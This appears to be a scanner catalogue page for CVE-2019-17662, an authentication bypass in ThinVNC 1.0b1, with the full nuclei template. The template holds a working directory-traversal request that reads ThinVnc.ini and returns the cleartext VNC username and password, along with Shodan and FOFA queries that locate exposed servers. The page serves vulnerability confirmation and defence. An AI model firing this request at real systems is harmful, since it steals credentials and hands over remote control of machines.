ThinVNC 1.0b1 - Authentication Bypass

criticalseverity

9.8CVSS score

96.8%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

ThinVNC 1.0b1 is vulnerable to arbitrary file read, which leads to a compromise of the VNC server. The vulnerability exists even when authentication is turned on during the deployment of the VNC server. The password for authentication is stored in cleartext in a file that can be read via a ../../ThinVnc.ini directory traversal attack vector.

Impact

An attacker can bypass authentication and gain unauthorized access to the ThinVNC application.

Fix

Upgrade to a patched version of ThinVNC or implement additional authentication mechanisms.

How to confirm it

Send: GET /{{randstr}}/../../ThinVnc.ini
Positive when: contains "User=" and "Password=" AND contains in header "application/binary" AND status 200

Run it with nuclei: nuclei -id CVE-2019-17662 -u <target>

The full check

id: CVE-2019-17662

info:
  name: ThinVNC 1.0b1 - Authentication Bypass
  author: DhiyaneshDK
  severity: critical
  description: |
    ThinVNC 1.0b1 is vulnerable to arbitrary file read, which leads to a compromise of the VNC server. The vulnerability exists even when authentication is turned on during the deployment of the VNC server. The password for authentication is stored in cleartext in a file that can be read via a ../../ThinVnc.ini directory traversal attack vector.
  impact: |
    An attacker can bypass authentication and gain unauthorized access to the ThinVNC application.
  remediation: |
    Upgrade to a patched version of ThinVNC or implement additional authentication mechanisms.
  reference:
    - http://packetstormsecurity.com/files/154896/ThinVNC-1.0b1-Authentication-Bypass.html
    - https://github.com/bewest/thinvnc/issues/5
    - https://redteamzone.com/ThinVNC/
    - https://github.com/shashankmangal2/Exploits/blob/master/ThinVNC-RemoteAccess/POC.py
    - https://github.com/YIXINSHUWU/Penetration_Testing_POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-17662
    cwe-id: CWE-22
    epss-score: 0.96758
    epss-percentile: 0.99887
    cpe: cpe:2.3:a:cybelsoft:thinvnc:1.0:b1:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cybelsoft
    product: thinvnc
    shodan-query: http.favicon.hash:-1414548363
    fofa-query: icon_hash=-1414548363
  tags: cve,cve2019,packetstorm,auth-bypass,thinvnc,intrusive,cybelsoft,vuln,vkev

http:
  - raw:
      - |
        GET /{{randstr}}/../../ThinVnc.ini HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "User="
          - "Password="
        condition: and

      - type: word
        part: header
        words:
          - "application/binary"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from